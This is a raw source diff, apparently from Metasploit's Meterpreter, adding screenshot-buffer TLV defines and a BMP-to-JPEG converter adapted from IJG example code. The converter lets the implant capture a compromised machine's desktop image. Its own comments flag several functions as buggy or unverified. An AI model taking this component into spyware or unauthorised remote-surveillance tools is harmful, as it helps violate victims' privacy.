#define TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 3010 )
|
||||||
|
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 3011 )
|
||||||
|
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 3012 )
|
||||||
|
|
||||||
// Event Log
|
// Event Log
|
||||||
#define TLV_TYPE_EVENT_SOURCENAME \
|
#define TLV_TYPE_EVENT_SOURCENAME \
|
||||||
MAKE_CUSTOM_TLV( \
|
MAKE_CUSTOM_TLV( \
|
||||||
|
|
|
@ -0,0 +1,880 @@
|
||||||
|
#include "screenshot.h"
|
||||||
|
#include "bmp2jpeg.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Please Note: bmp2jpeg.c and bmp2jpeg.h have been coppied over from screen.c
|
||||||
|
* screen.h in the espia extension. The origional author of espia is Efrain Torres
|
||||||
|
* and a patch for JPEG suport was provided by Brett Blackham.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Function modified to store bitmap in memory. et [ ] metasploit.com
|
||||||
|
======================================================================
|
||||||
|
|
||||||
|
Saves a bitmap to a file
|
||||||
|
|
||||||
|
The following function was adopted from pywin32, and is thus under the
|
||||||
|
following copyright:
|
||||||
|
|
||||||
|
Copyright (c) 1994-2008, Mark Hammond
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions
|
||||||
|
are met:
|
||||||
|
|
||||||
|
Redistributions of source code must retain the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
Redistributions in binary form must reproduce the above copyright
|
||||||
|
notice, this list of conditions and the following disclaimer in
|
||||||
|
the documentation and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
Neither name of Mark Hammond nor the name of contributors may be used
|
||||||
|
to endorse or promote products derived from this software without
|
||||||
|
specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS
|
||||||
|
IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||||
|
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||||
|
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR
|
||||||
|
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||||
|
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||||
|
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||||
|
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||||
|
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||||
|
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||||
|
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The JPEG lib is from the Independent JPEG Group (IJG)
|
||||||
|
* http://www.ijg.org/
|
||||||
|
*
|
||||||
|
* The jpeg lib included in source/jpeg-8/ has a small modification to the
|
||||||
|
* rdbmp.c example to support 32 BMP files. That modification was submitted
|
||||||
|
* to the IJG to be included in future releases. The only other change to
|
||||||
|
* JPEG library was to the makefile so the library would link to
|
||||||
|
* meterperter without warning/error.
|
||||||
|
*
|
||||||
|
* Most the JPEG code used in espia is taken from the rdbmp.c example from
|
||||||
|
* source/jpeg-8/.
|
||||||
|
*
|
||||||
|
* from the JPEG README:
|
||||||
|
* You are welcome to redistribute this software and
|
||||||
|
* to use it for any purpose, subject to the conditions under LEGAL ISSUES, below.
|
||||||
|
*
|
||||||
|
* ...
|
||||||
|
*
|
||||||
|
* This software is the work of Tom Lane, Guido Vollbeding, Philip Gladstone,
|
||||||
|
* Bill Allombert, Jim Boucher, Lee Crocker, Bob Friesenhahn, Ben Jackson,
|
||||||
|
* Julian Minguillon, Luis Ortiz, George Phillips, Davide Rossi, Ge' Weijers,
|
||||||
|
* and other members of the Independent JPEG Group.
|
||||||
|
*
|
||||||
|
*
|
||||||
|
* LEGAL ISSUES
|
||||||
|
* ============
|
||||||
|
*
|
||||||
|
* In plain English:
|
||||||
|
*
|
||||||
|
* 1. We don't promise that this software works. (But if you find any bugs,
|
||||||
|
* please let us know!)
|
||||||
|
* 2. You can use this software for whatever you want. You don't have to pay us.
|
||||||
|
* 3. You may not pretend that you wrote this software. If you use it in a
|
||||||
|
* program, you must acknowledge somewhere in your documentation that
|
||||||
|
* you've used the IJG code.
|
||||||
|
*
|
||||||
|
* (The "non-english" version can be found in the ../../srouce/jpeg-8/README file)
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef HAVE_UNSIGNED_CHAR
|
||||||
|
typedef unsigned char U_CHAR;
|
||||||
|
#define UCH(x) ((int) (x))
|
||||||
|
#else /* !HAVE_UNSIGNED_CHAR */
|
||||||
|
#ifdef CHAR_IS_UNSIGNED
|
||||||
|
typedef char U_CHAR;
|
||||||
|
#define UCH(x) ((int) (x))
|
||||||
|
#else
|
||||||
|
typedef char U_CHAR;
|
||||||
|
#define UCH(x) ((int) (x) & 0xFF)
|
||||||
|
#endif
|
||||||
|
#endif /* HAVE_UNSIGNED_CHAR */
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function taken from the JPEG-8 example file rdbmp.c provided a
|
||||||
|
* platform idenependant way to read files...
|
||||||
|
* But, we "reading" from memory. So, return the current byte
|
||||||
|
* in the buf and inc the pointer so it "feels" like an fopen read.
|
||||||
|
*/
|
||||||
|
int ReadOK(bmp_source_ptr sinfo, char* buffer,int len)
|
||||||
|
{
|
||||||
|
memcpy(buffer, sinfo->pub.input_buf + sinfo->pub.read_offset, len);
|
||||||
|
sinfo->pub.read_offset += len;
|
||||||
|
return 1; // yeah, it always works cuz I say so..
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Like ReadOK, this would read from a file. But we aren't reading a file.
|
||||||
|
* So, return the current byte in the buf and inc the pointer.
|
||||||
|
* WARNING: I don't think this function is working. (My guess: read_offset++)
|
||||||
|
* However, it just so happens since Windows 7 (and I think all the windows)
|
||||||
|
* screenshots always return a 32 bit BMP, the code never calls this function.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
int read_byte (bmp_source_ptr sinfo)
|
||||||
|
{
|
||||||
|
return (int)sinfo->pub.input_buf + sinfo->pub.read_offset++;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Since I think windows screenshot is always a 32bit BMP this function
|
||||||
|
* will never be used, however, I am leaving it here in case there is a
|
||||||
|
* version of windows that does return a 8bit indexed BMP. Once it is
|
||||||
|
* confirmed that all windows use 32bit BMPs, I'll remove this.
|
||||||
|
*
|
||||||
|
* How does a BMP look you ask?
|
||||||
|
* see: http://local.wasp.uwa.edu.au/~pbourke/dataformats/bitmaps/
|
||||||
|
*/
|
||||||
|
void read_colormap (bmp_source_ptr sinfo, int cmaplen, int mapentrysize)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
|
||||||
|
switch (mapentrysize) {
|
||||||
|
case 3:
|
||||||
|
/* BGR format (occurs in OS/2 files) */
|
||||||
|
for (i = 0; i < cmaplen; i++) {
|
||||||
|
sinfo->colormap[2][i] = (JSAMPLE) read_byte(sinfo);
|
||||||
|
sinfo->colormap[1][i] = (JSAMPLE) read_byte(sinfo);
|
||||||
|
sinfo->colormap[0][i] = (JSAMPLE) read_byte(sinfo);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
/* BGR0 format (occurs in MS Windows files) */
|
||||||
|
for (i = 0; i < cmaplen; i++) {
|
||||||
|
sinfo->colormap[2][i] = (JSAMPLE) read_byte(sinfo);
|
||||||
|
sinfo->colormap[1][i] = (JSAMPLE) read_byte(sinfo);
|
||||||
|
sinfo->colormap[0][i] = (JSAMPLE) read_byte(sinfo);
|
||||||
|
(void) read_byte(sinfo);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return; //ERREXIT(sinfo->cinfo, JERR_BMP_BADCMAP);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Used to help convert 16 bit BMP
|
||||||
|
* Taken from: http://bytes.com/topic/c/answers/552128-how-convert-16-bit-565-rgb-value-32-bit
|
||||||
|
*
|
||||||
|
* BUG: I haven't been able to figure out the correct format of the BMP in memory.
|
||||||
|
* Not sure if its 565 or 555. Nor am I sure if its rgb or bgr or what. Also
|
||||||
|
* I can't say I'm sure which order the two 8 bits that make up the unsigned
|
||||||
|
* short "a" should come in. As it is now, this will send back a valid JPEG.
|
||||||
|
* But, the colors won't be exact.
|
||||||
|
*/
|
||||||
|
unsigned long rgb16_to_rgb32(unsigned short a)
|
||||||
|
{
|
||||||
|
/* 1. Extract the red, green and blue values */
|
||||||
|
|
||||||
|
/* (555) from bbbb bggg ggrr rrr0 */
|
||||||
|
unsigned long b = (a & 0xF800) >> 11;
|
||||||
|
unsigned long g = (a & 0x07C0) >> 6;
|
||||||
|
unsigned long r = (a & 0x003E) >> 1;
|
||||||
|
|
||||||
|
/* (565) from rrrr rggg gggb bbbb */
|
||||||
|
// unsigned long r = (a & 0xF800) >> 11;
|
||||||
|
// unsigned long g = (a & 0x07E0) >> 5;
|
||||||
|
// unsigned long b = (a & 0x001F);
|
||||||
|
|
||||||
|
/* (555) from 0rrr rrgg gggb bbbb */
|
||||||
|
// unsigned long r = (a & 0x7C00) >> 10;
|
||||||
|
// unsigned long g = (a & 0x03E0) >> 5;
|
||||||
|
// unsigned long b = (a & 0x001F);
|
||||||
|
|
||||||
|
/* (555) from 0bbb bbgg gggr rrrr */
|
||||||
|
//unsigned long b = (a & 0x7C00) >> 10;
|
||||||
|
//unsigned long g = (a & 0x03E0) >> 5;
|
||||||
|
//unsigned long r = (a & 0x001F);
|
||||||
|
|
||||||
|
|
||||||
|
/* (555) from rrrr rggg ggbb bbb0 */
|
||||||
|
//unsigned long r = (a & 0xF800) >> 11;
|
||||||
|
//unsigned long g = (a & 0x07C0) >> 6;
|
||||||
|
//unsigned long b = (a & 0x003E) >> 1;
|
||||||
|
|
||||||
|
/* (565) from bbbb bggg gggr rrrr */
|
||||||
|
//unsigned long b = (a & 0xF800) >> 11;
|
||||||
|
//unsigned long g = (a & 0x07E0) >> 5;
|
||||||
|
//unsigned long r = (a & 0x001F);
|
||||||
|
|
||||||
|
/* 2. Convert them to 0-255 range:
|
||||||
|
There is more than one way. You can just shift them left:
|
||||||
|
to 00000000 rrrrr000 gggggg00 bbbbb000
|
||||||
|
r <<= 3;
|
||||||
|
g <<= 2;
|
||||||
|
b <<= 3;
|
||||||
|
But that means your image will be slightly dark and
|
||||||
|
off-colour as white 0xFFFF will convert to F8,FC,F8
|
||||||
|
So instead you can scale by multiply and divide: */
|
||||||
|
r <<= 3;
|
||||||
|
//g <<= 2; //(565)
|
||||||
|
g <<=3; //(555)
|
||||||
|
b <<= 3;
|
||||||
|
//r = r * 255 / 31;
|
||||||
|
//g = g * 255 / 63; //(565)
|
||||||
|
////g = g * 255 / 31; //(555)
|
||||||
|
//b = b * 255 / 31;
|
||||||
|
/* This ensures 31/31 converts to 255/255 */
|
||||||
|
|
||||||
|
/* 3. Construct your 32-bit format (this is 0RGB): */
|
||||||
|
//return (r << 16) | (g << 8) | b;
|
||||||
|
|
||||||
|
// This is 0RBG?? Yeah, it makes no sense to me either.
|
||||||
|
return (r << 16) | (b << 8) | g;
|
||||||
|
|
||||||
|
/* Or for BGR0: */
|
||||||
|
//return (r << 8) | (g << 16) | (b << 24);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Read one row of pixels.
|
||||||
|
* The image has been read into the whole_image array, but is otherwise
|
||||||
|
* unprocessed. We must read it out in top-to-bottom row order, and if
|
||||||
|
* it is an 8-bit image, we must expand colormapped pixels to 24bit format.
|
||||||
|
*
|
||||||
|
* NOTE: Again, windows might only ever use 32bit BMP's making this function
|
||||||
|
* useless. However, I'll leave it here until I can confirm that.
|
||||||
|
*
|
||||||
|
* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
|
||||||
|
*/
|
||||||
|
|
||||||
|
JDIMENSION get_8bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
|
||||||
|
/* This version is for reading 8-bit colormap indexes */
|
||||||
|
{
|
||||||
|
bmp_source_ptr source = (bmp_source_ptr) sinfo;
|
||||||
|
register JSAMPARRAY colormap = source->colormap;
|
||||||
|
JSAMPARRAY image_ptr;
|
||||||
|
register int t;
|
||||||
|
register JSAMPROW inptr, outptr;
|
||||||
|
register JDIMENSION col;
|
||||||
|
|
||||||
|
/* Fetch next row from virtual array */
|
||||||
|
source->source_row--;
|
||||||
|
image_ptr = (*cinfo->mem->access_virt_sarray)
|
||||||
|
((j_common_ptr) cinfo, source->whole_image,
|
||||||
|
source->source_row, (JDIMENSION) 1, FALSE);
|
||||||
|
|
||||||
|
/* Expand the colormap indexes to real data */
|
||||||
|
inptr = image_ptr[0];
|
||||||
|
outptr = source->pub.buffer[0];
|
||||||
|
for (col = cinfo->image_width; col > 0; col--) {
|
||||||
|
t = GETJSAMPLE(*inptr++);
|
||||||
|
*outptr++ = colormap[0][t]; /* can omit GETJSAMPLE() safely */
|
||||||
|
*outptr++ = colormap[1][t];
|
||||||
|
*outptr++ = colormap[2][t];
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
*
|
||||||
|
* NOTE: Damn it, windows uses what ever the colors option is set to-
|
||||||
|
* High Color (16 bit)
|
||||||
|
* True Color (32 bit)
|
||||||
|
* Who the hell would use High Color? PDA's?
|
||||||
|
*
|
||||||
|
* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
|
||||||
|
*
|
||||||
|
* Dev notes:
|
||||||
|
* http://www.winehq.org/pipermail/wine-patches/2005-August/020010.html
|
||||||
|
* http://www.cpp-home.com/tutorials/246_2.htm
|
||||||
|
* http://bytes.com/topic/c/answers/552128-how-convert-16-bit-565-rgb-value-32-bit
|
||||||
|
*/
|
||||||
|
|
||||||
|
JDIMENSION get_16bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
|
||||||
|
{
|
||||||
|
bmp_source_ptr source = (bmp_source_ptr) sinfo;
|
||||||
|
JSAMPARRAY image_ptr;
|
||||||
|
register JSAMPROW inptr, outptr;
|
||||||
|
register JDIMENSION col;
|
||||||
|
unsigned long bit32_pix;
|
||||||
|
char a,b;
|
||||||
|
char *pix_ptr;
|
||||||
|
/* Fetch next row from virtual array */
|
||||||
|
source->source_row--;
|
||||||
|
image_ptr = (*cinfo->mem->access_virt_sarray)
|
||||||
|
((j_common_ptr) cinfo, source->whole_image,
|
||||||
|
source->source_row, (JDIMENSION) 1, FALSE);
|
||||||
|
|
||||||
|
/* Transfer data. Note source values are in BGR order
|
||||||
|
* (even though Microsoft's own documents say the opposite).
|
||||||
|
*/
|
||||||
|
inptr = image_ptr[0];
|
||||||
|
outptr = source->pub.buffer[0];
|
||||||
|
for (col = cinfo->image_width; col > 0; col--) {
|
||||||
|
// Need to pull 16 bits at a time.
|
||||||
|
a = *inptr++; // First 8
|
||||||
|
b = *inptr++; // Second 8
|
||||||
|
bit32_pix = rgb16_to_rgb32( a << 8 | b ); //Send all 16bits to be converted
|
||||||
|
pix_ptr = (char *)&bit32_pix;
|
||||||
|
outptr[2] = *pix_ptr++;
|
||||||
|
outptr[1] = *pix_ptr++;
|
||||||
|
outptr[0] = *pix_ptr++;
|
||||||
|
outptr += 3;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
*
|
||||||
|
* NOTE: Again, windows might only ever use 32bit BMP's making this function
|
||||||
|
* useless. However, I'll leave it here until I can confirm that.
|
||||||
|
*
|
||||||
|
* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
|
||||||
|
*/
|
||||||
|
|
||||||
|
JDIMENSION get_24bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
|
||||||
|
/* This version is for reading 24-bit pixels */
|
||||||
|
{
|
||||||
|
bmp_source_ptr source = (bmp_source_ptr) sinfo;
|
||||||
|
JSAMPARRAY image_ptr;
|
||||||
|
register JSAMPROW inptr, outptr;
|
||||||
|
register JDIMENSION col;
|
||||||
|
|
||||||
|
/* Fetch next row from virtual array */
|
||||||
|
source->source_row--;
|
||||||
|
image_ptr = (*cinfo->mem->access_virt_sarray)
|
||||||
|
((j_common_ptr) cinfo, source->whole_image,
|
||||||
|
source->source_row, (JDIMENSION) 1, FALSE);
|
||||||
|
|
||||||
|
/* Transfer data. Note source values are in BGR order
|
||||||
|
* (even though Microsoft's own documents say the opposite).
|
||||||
|
*/
|
||||||
|
inptr = image_ptr[0];
|
||||||
|
outptr = source->pub.buffer[0];
|
||||||
|
for (col = cinfo->image_width; col > 0; col--) {
|
||||||
|
outptr[2] = *inptr++; /* can omit GETJSAMPLE() safely */
|
||||||
|
outptr[1] = *inptr++;
|
||||||
|
outptr[0] = *inptr++;
|
||||||
|
outptr += 3;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
*
|
||||||
|
* NOTE: Again, windows might only ever use 32bit BMP's making this function
|
||||||
|
* useless. However, I'll leave it here until I can confirm that.
|
||||||
|
*
|
||||||
|
* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
|
||||||
|
*/
|
||||||
|
JDIMENSION get_32bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
|
||||||
|
/* This version is for reading 32-bit pixels */
|
||||||
|
{
|
||||||
|
bmp_source_ptr source = (bmp_source_ptr) sinfo;
|
||||||
|
JSAMPARRAY image_ptr;
|
||||||
|
register JSAMPROW inptr, outptr;
|
||||||
|
register JDIMENSION col;
|
||||||
|
|
||||||
|
/* Fetch next row from virtual array */
|
||||||
|
source->source_row--;
|
||||||
|
image_ptr = (*cinfo->mem->access_virt_sarray)
|
||||||
|
((j_common_ptr) cinfo, source->whole_image,
|
||||||
|
source->source_row, (JDIMENSION) 1, FALSE);
|
||||||
|
/* Transfer data. Note source values are in BGR order
|
||||||
|
* (even though Microsoft's own documents say the opposite).
|
||||||
|
*/
|
||||||
|
inptr = image_ptr[0];
|
||||||
|
outptr = source->pub.buffer[0];
|
||||||
|
for (col = cinfo->image_width; col > 0; col--) {
|
||||||
|
outptr[2] = *inptr++; /* can omit GETJSAMPLE() safely */
|
||||||
|
outptr[1] = *inptr++;
|
||||||
|
outptr[0] = *inptr++;
|
||||||
|
*inptr++; // Skip the 4th bit (Alpha Channel)
|
||||||
|
outptr += 3;
|
||||||
|
}
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This method loads the image into whole_image during the first call on
|
||||||
|
* get_pixel_rows. The get_pixel_rows pointer is then adjusted to call
|
||||||
|
* get_8bit_row, get_24bit_row or get_32bit_row on subsequent calls.
|
||||||
|
* This will not copy the image header info. Just the raw image data.
|
||||||
|
*/
|
||||||
|
JDIMENSION preload_image (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
|
||||||
|
{
|
||||||
|
bmp_source_ptr source = (bmp_source_ptr) sinfo;
|
||||||
|
// register FILE *infile = source->pub.input_file;
|
||||||
|
// register int c;
|
||||||
|
register JSAMPROW out_ptr;
|
||||||
|
JSAMPARRAY image_ptr;
|
||||||
|
JDIMENSION row;
|
||||||
|
|
||||||
|
/* Read the data into a virtual array in input-file row order. */
|
||||||
|
|
||||||
|
|
||||||
|
for (row = 0; row < cinfo->image_height; row++) {
|
||||||
|
image_ptr = (*cinfo->mem->access_virt_sarray)
|
||||||
|
((j_common_ptr) cinfo, source->whole_image,
|
||||||
|
row, (JDIMENSION) 1, TRUE);
|
||||||
|
out_ptr = image_ptr[0];
|
||||||
|
|
||||||
|
// Copy the bmp data
|
||||||
|
memcpy(out_ptr, source->pub.input_buf + source->pub.read_offset, source->row_width);
|
||||||
|
source->pub.read_offset += source->row_width;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Set up to read from the virtual array in top-to-bottom order */
|
||||||
|
switch (source->bits_per_pixel) {
|
||||||
|
case 8:
|
||||||
|
source->pub.get_pixel_rows = get_8bit_row;
|
||||||
|
break;
|
||||||
|
case 16:
|
||||||
|
source->pub.get_pixel_rows = get_16bit_row;
|
||||||
|
break;
|
||||||
|
case 24:
|
||||||
|
source->pub.get_pixel_rows = get_24bit_row;
|
||||||
|
break;
|
||||||
|
case 32:
|
||||||
|
source->pub.get_pixel_rows = get_32bit_row;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return 0; //ERREXIT(cinfo, JERR_BMP_BADDEPTH);
|
||||||
|
}
|
||||||
|
source->source_row = cinfo->image_height;
|
||||||
|
|
||||||
|
/* And read the first row */
|
||||||
|
return (*source->pub.get_pixel_rows) (cinfo, sinfo);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Read the file header; return image size and component count.
|
||||||
|
* A lot of this could might be safe to remove since we might
|
||||||
|
* only ever be using 32bit Windows BMP images. UPDATE: or 16bit BMPs
|
||||||
|
*/
|
||||||
|
void start_input_bmp (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
|
||||||
|
{
|
||||||
|
bmp_source_ptr source = (bmp_source_ptr) sinfo;
|
||||||
|
U_CHAR bmpfileheader[14];
|
||||||
|
U_CHAR bmpinfoheader[64];
|
||||||
|
#define GET_2B(array,offset) ((unsigned int) UCH(array[offset]) + \
|
||||||
|
(((unsigned int) UCH(array[offset+1])) << 8))
|
||||||
|
#define GET_4B(array,offset) ((INT32) UCH(array[offset]) + \
|
||||||
|
(((INT32) UCH(array[offset+1])) << 8) + \
|
||||||
|
(((INT32) UCH(array[offset+2])) << 16) + \
|
||||||
|
(((INT32) UCH(array[offset+3])) << 24))
|
||||||
|
INT32 bfOffBits;
|
||||||
|
INT32 headerSize;
|
||||||
|
INT32 biWidth;
|
||||||
|
INT32 biHeight;
|
||||||
|
unsigned int biPlanes;
|
||||||
|
INT32 biCompression;
|
||||||
|
INT32 biXPelsPerMeter,biYPelsPerMeter;
|
||||||
|
INT32 biClrUsed = 0;
|
||||||
|
int mapentrysize = 0; /* 0 indicates no colormap */
|
||||||
|
INT32 bPad;
|
||||||
|
JDIMENSION row_width;
|
||||||
|
|
||||||
|
/* Read and verify the bitmap file header */
|
||||||
|
// Its a bitmap... I just made it.. But, if you findout otherwise
|
||||||
|
// return without an error message.. Better than a crash I guess.
|
||||||
|
|
||||||
|
if (! ReadOK(source, bmpfileheader, 14))
|
||||||
|
return; //ERREXIT(cinfo, JERR_INPUT_EOF);
|
||||||
|
if (GET_2B(bmpfileheader,0) != 0x4D42) /* 'BM' */
|
||||||
|
return; //ERREXIT(cinfo, JERR_BMP_NOT);
|
||||||
|
bfOffBits = (INT32) GET_4B(bmpfileheader,10);
|
||||||
|
/* We ignore the remaining fileheader fields */
|
||||||
|
|
||||||
|
/* The infoheader might be 12 bytes (OS/2 1.x), 40 bytes (Windows),
|
||||||
|
* or 64 bytes (OS/2 2.x). Check the first 4 bytes to find out which.
|
||||||
|
*
|
||||||
|
* Read the first for bytes to figure out how big the header is.
|
||||||
|
* The read the rest of the header (once we know its size)
|
||||||
|
*/
|
||||||
|
if (! ReadOK(source, bmpinfoheader, 4))
|
||||||
|
return; //ERREXIT(cinfo, JERR_INPUT_EOF);
|
||||||
|
headerSize = (INT32) GET_4B(bmpinfoheader,0);
|
||||||
|
|
||||||
|
|
||||||
|
if (headerSize < 12 || headerSize > 64)
|
||||||
|
return; //ERREXIT(cinfo, JERR_BMP_BADHEADER);
|
||||||
|
if (! ReadOK(source, bmpinfoheader+4, headerSize-4)) // Read the rest of the header
|
||||||
|
return; //ERREXIT(cinfo, JERR_INPUT_EOF);
|
||||||
|
|
||||||
|
switch ((int) headerSize) {
|
||||||
|
case 12:
|
||||||
|
/* Decode OS/2 1.x header (Microsoft calls this a BITMAPCOREHEADER) */
|
||||||
|
biWidth = (INT32) GET_2B(bmpinfoheader,4);
|
||||||
|
biHeight = (INT32) GET_2B(bmpinfoheader,6);
|
||||||
|
biPlanes = GET_2B(bmpinfoheader,8);
|
||||||
|
source->bits_per_pixel = (int) GET_2B(bmpinfoheader,10);
|
||||||
|
|
||||||
|
switch (source->bits_per_pixel) {
|
||||||
|
case 8: /* colormapped image */
|
||||||
|
mapentrysize = 3; /* OS/2 uses RGBTRIPLE colormap */
|
||||||
|
//TRACEMS2(cinfo, 1, JTRC_BMP_OS2_MAPPED, (int) biWidth, (int) biHeight);
|
||||||
|
break;
|
||||||
|
case 24: /* RGB image */
|
||||||
|
//TRACEMS2(cinfo, 1, JTRC_BMP_OS2, (int) biWidth, (int) biHeight);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
//ERREXIT(cinfo, JERR_BMP_BADDEPTH);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 40: // When using "High color"
|
||||||
|
biWidth = (INT32) GET_4B(bmpinfoheader,4);
|
||||||
|
biHeight = (INT32) GET_4B(bmpinfoheader,8);
|
||||||
|
biPlanes = GET_2B(bmpinfoheader,12);
|
||||||
|
source->bits_per_pixel = (int) GET_2B(bmpinfoheader,14);
|
||||||
|
biCompression = GET_4B(bmpinfoheader,16);
|
||||||
|
biXPelsPerMeter = GET_4B(bmpinfoheader,24);
|
||||||
|
biYPelsPerMeter = GET_4B(bmpinfoheader,28);
|
||||||
|
biClrUsed = GET_4B(bmpinfoheader,32);
|
||||||
|
|
||||||
|
if (biCompression != 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (biXPelsPerMeter > 0 && biYPelsPerMeter > 0) {
|
||||||
|
/* Set JFIF density parameters from the BMP data */
|
||||||
|
cinfo->X_density = (UINT16) (biXPelsPerMeter/100); /* 100 cm per meter */
|
||||||
|
cinfo->Y_density = (UINT16) (biYPelsPerMeter/100);
|
||||||
|
cinfo->density_unit = 2; /* dots/cm */
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 64: // This is the one we get on 32bit Windows 7 from GDI
|
||||||
|
/* Decode Windows 3.x header (Microsoft calls this a BITMAPINFOHEADER) */
|
||||||
|
/* or OS/2 2.x header, which has additional fields that we ignore */
|
||||||
|
biWidth = GET_4B(bmpinfoheader,4);
|
||||||
|
biHeight = GET_4B(bmpinfoheader,8);
|
||||||
|
biPlanes = GET_2B(bmpinfoheader,12);
|
||||||
|
source->bits_per_pixel = (int) GET_2B(bmpinfoheader,14);
|
||||||
|
biCompression = GET_4B(bmpinfoheader,16);
|
||||||
|
biXPelsPerMeter = GET_4B(bmpinfoheader,24);
|
||||||
|
biYPelsPerMeter = GET_4B(bmpinfoheader,28);
|
||||||
|
biClrUsed = GET_4B(bmpinfoheader,32);
|
||||||
|
/* biSizeImage, biClrImportant fields are ignored */
|
||||||
|
|
||||||
|
switch (source->bits_per_pixel) {
|
||||||
|
case 8: /* colormapped image */
|
||||||
|
mapentrysize = 4; /* Windows uses RGBQUAD colormap */
|
||||||
|
// TRACEMS2(cinfo, 1, JTRC_BMP_MAPPED, (int) biWidth, (int) biHeight);
|
||||||
|
break;
|
||||||
|
case 24: /* RGB image */
|
||||||
|
// TRACEMS2(cinfo, 1, JTRC_BMP, (int) biWidth, (int) biHeight);
|
||||||
|
break;
|
||||||
|
case 32: /* RGB image + Alpha Channel */
|
||||||
|
// TRACEMS2(cinfo, 1, JTRC_BMP, (int) biWidth, (int) biHeight);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return; //ERREXIT(cinfo, JERR_BMP_BADDEPTH);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (biCompression != 0)
|
||||||
|
return; //ERREXIT(cinfo, JERR_BMP_COMPRESSED);
|
||||||
|
|
||||||
|
if (biXPelsPerMeter > 0 && biYPelsPerMeter > 0) {
|
||||||
|
/* Set JFIF density parameters from the BMP data */
|
||||||
|
cinfo->X_density = (UINT16) (biXPelsPerMeter/100); /* 100 cm per meter */
|
||||||
|
cinfo->Y_density = (UINT16) (biYPelsPerMeter/100);
|
||||||
|
cinfo->density_unit = 2; /* dots/cm */
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return; //ERREXIT(cinfo, JERR_BMP_BADHEADER);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (biWidth <= 0 || biHeight <= 0)
|
||||||
|
return; //ERREXIT(cinfo, JERR_BMP_EMPTY);
|
||||||
|
if (biPlanes != 1)
|
||||||
|
return; //ERREXIT(cinfo, JERR_BMP_BADPLANES);
|
||||||
|
|
||||||
|
